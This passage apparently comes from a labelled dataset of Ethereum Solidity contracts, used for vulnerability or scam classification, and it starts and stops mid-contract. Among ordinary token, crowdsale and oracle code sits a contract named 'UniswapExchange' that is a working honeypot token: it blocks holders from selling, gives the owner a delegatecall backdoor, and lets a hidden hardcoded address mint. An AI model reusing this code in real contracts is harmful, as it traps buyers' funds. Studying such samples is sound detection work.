function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if (_isExcludedReward[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function _calculateReflectFee(uint256 _amount)
private
view
returns (uint256)
{
return _amount.mul(reflectionFee).div(10**2);
}
function _liquidityFeeAggregate(address seller)
private
view
returns (uint256)
{
uint256 feeMultiplier = _isSelling && !canClaimRewards(seller)
? feeSellMultiplier
: 1;
return (treasuryFee.add(ethRewardsFee).add(buybackFee)).mul(feeMultiplier);
}
function _calculateLiquidityFee(address seller, uint256 _amount)
private
view
returns (uint256)
{
return _amount.mul(_liquidityFeeAggregate(seller)).div(10**2);
}
function _removeAllFee() private {
if (
reflectionFee == 0 &&
treasuryFee == 0 &&
ethRewardsFee == 0 &&
buybackFee == 0
) return;
_previousReflectFee = reflectionFee;
_previousTreasuryFee = treasuryFee;
_previousETHRewardsFee = ethRewardsFee;
_previousBuybackFee = buybackFee;
reflectionFee = 0;
treasuryFee = 0;
ethRewardsFee = 0;
buybackFee = 0;
}
function _restoreAllFee() private {
reflectionFee = _previousReflectFee;
treasuryFee = _previousTreasuryFee;
ethRewardsFee = _previousETHRewardsFee;
buybackFee = _previousBuybackFee;
}
function getSellSlippage(address seller) external view returns (uint256) {
uint256 feeAgg = treasuryFee.add(ethRewardsFee).add(buybackFee);
return
isExcludedFromFee(seller) ? 0 : !canClaimRewards(seller)
? feeAgg.mul(feeSellMultiplier)
: feeAgg;
}
function isUniswapPair(address _pair) external view returns (bool) {
if (_pair == uniswapV2Pair) return true;
return _isUniswapPair[_pair];
}
function eligibleForRewardBooster(address wallet) public view returns (bool) {
return
boostRewardsContract != address(0) &&
IConditional(boostRewardsContract).passesTest(wallet);
}
function isExcludedFromFee(address account) public view returns (bool) {
return
_isExcludedFee[account] ||
(feeExclusionContract != address(0) &&
IConditional(feeExclusionContract).passesTest(account));
}
function isExcludedFromReward(address account) external view returns (bool) {
return _isExcludedReward[account];
}
function excludeFromFee(address account) external onlyOwner {
_isExcludedFee[account] = true;
}
function includeInFee(address account) external onlyOwner {
_isExcludedFee[account] = false;
}
function setRewardsClaimTimeSeconds(uint256 _seconds) external onlyOwner {
require(_seconds >= 0 &&_seconds <= 60 * 60 * 24 * 7, 'claim time delay must be greater or equal to 0 seconds and less than or equal to 7 days');
rewardsClaimTimeSeconds = _seconds;
}
function setNewFeesPercentages(uint256 _reflectionNewFee, uint256 _treasuryNewFee, uint256 _ethRewardsNewFee, uint256 _buybackRewardsNewFee) external onlyOwner {
require(_reflectionNewFee + _treasuryNewFee + _ethRewardsNewFee + _buybackRewardsNewFee <= 10, 'Tax cannot be higher than 10%');
reflectionFee = _reflectionNewFee;
treasuryFee = _treasuryNewFee;
ethRewardsFee = _ethRewardsNewFee;
buybackFee = _buybackRewardsNewFee;
}
function setFeeSellMultiplier(uint256 multiplier) external onlyOwner {
require(multiplier <= 2, 'must be less than or equal to 2');
feeSellMultiplier = multiplier;
}
function setTreasuryAddress(address _treasuryWallet) external onlyOwner {
treasuryWallet = payable(_treasuryWallet);
_isExcludedFee[treasuryWallet] = true;
}
function setIsMaxBuyActivated(bool _value) public onlyOwner {
_isMaxBuyActivated = _value;
}
function setBuybackTokenAddress(address _tokenAddress) external onlyOwner {
buybackTokenAddress = _tokenAddress;
}
function setBuybackReceiver(address _receiver) external onlyOwner {
buybackReceiver = _receiver;
}
function addUniswapPair(address _pair) external onlyOwner {
_isUniswapPair[_pair] = true;
}
function removeUniswapPair(address _pair) external onlyOwner {
_isUniswapPair[_pair] = false;
}
function setBoostRewardsPercent(uint256 perc) external onlyOwner {
boostRewardsPercent = perc;
}
function setBoostRewardsContract(address _contract) external onlyOwner {
if (_contract != address(0)) {
IConditional _contCheck = IConditional(_contract);
require(
_contCheck.passesTest(address(0)) == true ||
_contCheck.passesTest(address(0)) == false,
'contract does not implement interface'
);
}
boostRewardsContract = _contract;
}
function setFeeExclusionContract(address _contract) external onlyOwner {
if (_contract != address(0)) {
IConditional _contCheck = IConditional(_contract);
require(
_contCheck.passesTest(address(0)) == true ||
_contCheck.passesTest(address(0)) == false,
'contract does not implement interface'
);
}
feeExclusionContract = _contract;
}
function isRemovedSniper(address account) external view returns (bool) {
return _isSniper[account];
}
function removeSniper(address account) external onlyOwner {
require(account != _uniswapRouterAddress, 'We can not blacklist Uniswap');
require(!_isSniper[account], 'Account is already blacklisted');
_isSniper[account] = true;
_confirmedSnipers.push(account);
}
function amnestySniper(address account) external onlyOwner {
require(_isSniper[account], 'Account is not blacklisted');
for (uint256 i = 0; i < _confirmedSnipers.length; i++) {
if (_confirmedSnipers[i] == account) {
_confirmedSnipers[i] = _confirmedSnipers[_confirmedSnipers.length - 1];
_isSniper[account] = false;
_confirmedSnipers.pop();
break;
}
}
}
function calculateETHRewards(address wallet) public view returns (uint256) {
uint256 baseRewards = ethRewardsBalance.mul(balanceOf(wallet)).div(
_tTotal.sub(balanceOf(deadAddress))
);
uint256 rewardsWithBooster = eligibleForRewardBooster(wallet)
? baseRewards.add(baseRewards.mul(boostRewardsPercent).div(10**2))
: baseRewards;
return
rewardsWithBooster > ethRewardsBalance ? baseRewards : rewardsWithBooster;
}
function calculateTokenRewards(address wallet, address tokenAddress)
public
view
returns (uint256)
{
IERC20 token = IERC20(tokenAddress);
uint256 contractTokenBalance = token.balanceOf(address(this));
uint256 baseRewards = contractTokenBalance.mul(balanceOf(wallet)).div(
_tTotal.sub(balanceOf(deadAddress))
);
uint256 rewardsWithBooster = eligibleForRewardBooster(wallet)
? baseRewards.add(baseRewards.mul(boostRewardsPercent).div(10**2))
: baseRewards;
return
rewardsWithBooster > contractTokenBalance
? baseRewards
: rewardsWithBooster;
}
function claimETHRewards() external {
require(
balanceOf(_msgSender()) > 0,
'You must have a balance to claim ETH rewards'
);
require(
canClaimRewards(_msgSender()),
'Must wait claim period before claiming rewards'
);
_rewardsLastClaim[_msgSender()] = block.timestamp;
uint256 rewardsSent = calculateETHRewards(_msgSender());
ethRewardsBalance -= rewardsSent;
_msgSender().call{ value: rewardsSent }('');
emit SendETHRewards(_msgSender(), rewardsSent);
}
function canClaimRewards(address user) public view returns (bool) {
if (_rewardsLastClaim[user] == 0) {
return
block.timestamp > launchTime.add(rewardsClaimTimeSeconds);
}
else {
return
block.timestamp > _rewardsLastClaim[user].add(rewardsClaimTimeSeconds);
}
}
function claimTokenRewards(address token) external {
require(
balanceOf(_msgSender()) > 0,
'You must have a balance to claim rewards'
);
require(
IERC20(token).balanceOf(address(this)) > 0,
'We must have a token balance to claim rewards'
);
require(
canClaimRewards(_msgSender()),
'Must wait claim period before claiming rewards'
);
_rewardsLastClaim[_msgSender()] = block.timestamp;
uint256 rewardsSent = calculateTokenRewards(_msgSender(), token);
IERC20(token).transfer(_msgSender(), rewardsSent);
emit SendTokenRewards(_msgSender(), token, rewardsSent);
}
function setFeeRate(uint256 _rate) external onlyOwner {
feeRate = _rate;
}
function manualswap(uint256 amount) external onlyOwner {
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
_swapTokens(amount);
}
function emergencyWithdraw() external onlyOwner {
payable(owner()).send(address(this).balance);
}
receive() external payable {}
} | 0 | 629 |
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract HireGoToken is MintableToken, BurnableToken {
string public constant name = "HireGo";
string public constant symbol = "HGO";
uint32 public constant decimals = 18;
function HireGoToken() public {
totalSupply = 100000000E18;
balances[owner] = totalSupply;
}
}
contract HireGoCrowdsale is Ownable {
using SafeMath for uint;
HireGoToken public token = new HireGoToken();
uint totalSupply = token.totalSupply();
bool public isRefundAllowed;
bool public newBonus_and_newPeriod;
bool public new_bonus_for_next_period;
uint public icoStartTime;
uint public icoEndTime;
uint public totalWeiRaised;
uint public weiRaised;
uint public hardCap;
uint public tokensDistributed;
uint public bonus_for_add_stage;
uint internal baseBonus1 = 160;
uint internal baseBonus2 = 140;
uint internal baseBonus3 = 130;
uint internal baseBonus4 = 120;
uint internal baseBonus5 = 110;
uint internal baseBonus6 = 100;
uint public manualBonus;
uint public rate;
uint private icoMinPurchase;
uint private icoEndDateIncCount;
address[] public investors_number;
address private wallet;
mapping (address => uint) public orderedTokens;
mapping (address => uint) contributors;
event FundsWithdrawn(address _who, uint256 _amount);
modifier hardCapNotReached() {
require(totalWeiRaised < hardCap);
_;
}
modifier crowdsaleEnded() {
require(now > icoEndTime);
_;
}
modifier crowdsaleInProgress() {
bool withinPeriod = (now >= icoStartTime && now <= icoEndTime);
require(withinPeriod);
_;
}
function HireGoCrowdsale(uint _icoStartTime, uint _icoEndTime, address _wallet) public {
require (
_icoStartTime > now &&
_icoEndTime > _icoStartTime
);
icoStartTime = _icoStartTime;
icoEndTime = _icoEndTime;
wallet = _wallet;
rate = 250 szabo;
hardCap = 11575 ether;
icoEndDateIncCount = 0;
icoMinPurchase = 50 finney;
isRefundAllowed = false;
}
function() public payable {
buyTokens();
}
function buyTokens() public payable crowdsaleInProgress hardCapNotReached {
require(msg.value > 0);
calculatePurchaseAndBonuses(msg.sender, msg.value);
}
function getInvestorCount() public view returns (uint) {
return investors_number.length;
}
function toggleRefunds() public onlyOwner {
isRefundAllowed = true;
}
function moveIcoEndDateByOneMonth(uint bonus_percentage) public onlyOwner crowdsaleInProgress returns (bool) {
if (icoEndDateIncCount < 1) {
icoEndTime = icoEndTime.add(30 days);
icoEndDateIncCount++;
newBonus_and_newPeriod = true;
bonus_for_add_stage = bonus_percentage;
return true;
}
else {
return false;
}
}
function refundInvestors() public onlyOwner {
require(now >= icoEndTime);
require(isRefundAllowed);
require(msg.sender.balance > 0);
address investor;
uint contributedWei;
uint tokens;
for(uint i = 0; i < investors_number.length; i++) {
investor = investors_number[i];
contributedWei = contributors[investor];
tokens = orderedTokens[investor];
if(contributedWei > 0) {
totalWeiRaised = totalWeiRaised.sub(contributedWei);
weiRaised = weiRaised.sub(contributedWei);
if(weiRaised<0){
weiRaised = 0;
}
contributors[investor] = 0;
orderedTokens[investor] = 0;
tokensDistributed = tokensDistributed.sub(tokens);
investor.transfer(contributedWei);
}
}
}
function withdraw() public onlyOwner {
uint to_send = weiRaised;
weiRaised = 0;
FundsWithdrawn(msg.sender, to_send);
wallet.transfer(to_send);
}
function manualReserve(address _beneficiary, uint _amount) public onlyOwner crowdsaleInProgress {
require(_beneficiary != address(0));
require(_amount > 0);
checkAndMint(_amount);
tokensDistributed = tokensDistributed.add(_amount);
token.transfer(_beneficiary, _amount);
}
function burnUnsold() public onlyOwner crowdsaleEnded {
uint tokensLeft = totalSupply.sub(tokensDistributed);
token.burn(tokensLeft);
}
function finishIco() public onlyOwner {
icoEndTime = now;
}
function distribute_for_founders() public onlyOwner {
uint to_send = 40000000000000000000000000;
checkAndMint(to_send);
token.transfer(wallet, to_send);
}
function transferOwnershipToken(address _to) public onlyOwner {
token.transferOwnership(_to);
}
function calculatePurchaseAndBonuses(address _beneficiary, uint _weiAmount) internal {
if (now >= icoStartTime && now < icoEndTime) require(_weiAmount >= icoMinPurchase);
uint cleanWei;
uint change;
uint _tokens;
if (_weiAmount.add(totalWeiRaised) > hardCap) {
cleanWei = hardCap.sub(totalWeiRaised);
change = _weiAmount.sub(cleanWei);
}
else cleanWei = _weiAmount;
assert(cleanWei > 4);
_tokens = cleanWei.div(rate).mul(1 ether);
if (contributors[_beneficiary] == 0) investors_number.push(_beneficiary);
_tokens = calculateBonus(_tokens);
checkAndMint(_tokens);
contributors[_beneficiary] = contributors[_beneficiary].add(cleanWei);
weiRaised = weiRaised.add(cleanWei);
totalWeiRaised = totalWeiRaised.add(cleanWei);
tokensDistributed = tokensDistributed.add(_tokens);
orderedTokens[_beneficiary] = orderedTokens[_beneficiary].add(_tokens);
if (change > 0) _beneficiary.transfer(change);
token.transfer(_beneficiary,_tokens);
}
function calculateBonus(uint _baseAmount) internal returns (uint) {
require(_baseAmount > 0);
if (now >= icoStartTime && now < icoEndTime) {
return calculateBonusIco(_baseAmount);
}
else return _baseAmount;
}
function calculateBonusIco(uint _baseAmount) internal returns(uint) {
if(now >= icoStartTime && now < 1520726399) {
return _baseAmount.mul(baseBonus1).div(100);
}
else if(now >= 1520726400 && now < 1521331199) {
return _baseAmount.mul(baseBonus2).div(100);
}
else if(now >= 1521331200 && now < 1521935999) {
return _baseAmount.mul(baseBonus3).div(100);
}
else if(now >= 1521936000 && now < 1524959999) {
return _baseAmount.mul(baseBonus4).div(100);
}
else if(now >= 1524960000 && now < 1526169599) {
return _baseAmount.mul(baseBonus5).div(100);
}
else {
return _baseAmount;
}
}
function checkAndMint(uint _amount) internal {
uint required = tokensDistributed.add(_amount);
if(required > totalSupply) token.mint(this, required.sub(totalSupply));
}
} | 1 | 4,127 |
pragma solidity ^0.4.24;
contract KICKPriceOracle {
mapping (address => bool) admins;
uint256 public ETHPrice = 8954340000000000000000;
event PriceChanged(uint256 newPrice);
constructor() public {
admins[msg.sender] = true;
}
function updatePrice(uint256 _newPrice) public {
require(_newPrice > 0);
require(admins[msg.sender] == true);
ETHPrice = _newPrice;
emit PriceChanged(_newPrice);
}
function setAdmin(address _newAdmin, bool _value) public {
require(admins[msg.sender] == true);
admins[_newAdmin] = _value;
}
} | 1 | 3,081 |
pragma solidity ^0.4.24;
contract Token {
mapping (address => uint256) public balanceOf;
function transfer(address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
}
contract Future1Exchange
{
address public archon;
mapping (address => mapping(address => uint256)) public _token;
constructor() public
{
archon = msg.sender;
}
function safeAdd(uint crtbal, uint depbal) public pure returns (uint)
{
uint totalbal = crtbal + depbal;
return totalbal;
}
function safeSub(uint crtbal, uint depbal) public pure returns (uint)
{
uint totalbal = crtbal - depbal;
return totalbal;
}
function balanceOf(address token,address user) public view returns(uint256)
{
return Token(token).balanceOf(user);
}
function tokenTransfer(address token, uint256 tokens)public payable
{
_token[msg.sender][token] = safeAdd(_token[msg.sender][token], tokens);
Token(token).transferFrom(msg.sender,address(this), tokens);
}
function tokenWithdraw(address token, address to, uint256 tokens)public payable
{
if(archon==msg.sender)
{
if(Token(token).balanceOf(address(this))>=tokens)
{
_token[msg.sender][token] = safeSub(_token[msg.sender][token] , tokens) ;
Token(token).transfer(to, tokens);
}
}
}
function contract_bal(address token) public view returns(uint256)
{
return Token(token).balanceOf(address(this));
}
function depositETH() payable external
{
}
function withdrawETH(address to, uint256 value) public payable returns (bool)
{
if(archon==msg.sender)
{
to.transfer(value);
return true;
}
}
} | 1 | 3,466 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,334 |
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract Big2018Token {
address public creator;
uint256 public tokensDaily = 10000;
uint256 tokensToday = 0;
uint256 public leftToday = 10000;
uint startPrice = 100000000000000;
uint q = 37;
uint countBuy = 0;
uint start2018 = 1514764800;
uint end2018 = 1546300799;
uint day = 1;
uint d = 86400;
uint dayOld = 1;
address public game;
mapping (address => uint) public box;
uint boxRand = 0;
uint boxMax = 5;
event BoxChange(address who, uint newBox);
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
mapping (address => mapping (address => uint256)) public allowance;
struct EscrowTrade {
uint256 value;
uint price;
address to;
bool open;
}
mapping (address => mapping (uint => EscrowTrade)) public escrowTransferInfo;
mapping (address => uint) userEscrowCount;
event Escrow(address from, uint256 value, uint price, bool open, address to);
struct EscrowTfr {
address from;
uint tradeNo;
}
EscrowTfr[] public escrowTransferList;
uint public escrowCount = 0;
function Big2018Token() public {
creator = msg.sender;
game = msg.sender;
totalSupply = 3650000 * 10 ** uint256(decimals);
balanceOf[this] = totalSupply;
name = "BIG2018TOKEN";
symbol = "B18";
}
function getPriceWei(uint _day) public returns (uint) {
require(now >= start2018 && now <= end2018);
day = (now - start2018)/d + 1;
if (day > dayOld) {
uint256 _value = ((day - dayOld - 1)*tokensDaily + leftToday) * 10 ** uint256(decimals);
_transfer(this, creator, _value);
tokensToday = 0;
dayOld = day;
}
if (_day != 0) {
day = _day;
}
uint n = day - 1;
uint p = 3 + n * 5 / 100;
uint s = 0;
uint x = 1;
uint y = 1;
for (uint i = 0; i < p; ++i) {
s += startPrice * x / y / (q**i);
x = x * (n-i);
y = y * (i+1);
}
return (s);
}
function () external payable {
require(now >= start2018 && now <= end2018);
uint priceWei = this.getPriceWei(0);
uint256 giveTokens = msg.value / priceWei;
if (tokensToday + giveTokens > tokensDaily) {
giveTokens = tokensDaily - tokensToday;
}
countBuy += 1;
tokensToday += giveTokens;
box[msg.sender] = this.boxChoice(0);
_transfer(this, msg.sender, giveTokens * 10 ** uint256(decimals));
uint256 changeDue = msg.value - (giveTokens * priceWei) * 99 / 100;
require(changeDue < msg.value);
msg.sender.transfer(changeDue);
}
function getValueAndBox(address _address) view external returns(uint, uint) {
return (balanceOf[_address], box[_address]);
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousbalanceOf = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousbalanceOf);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
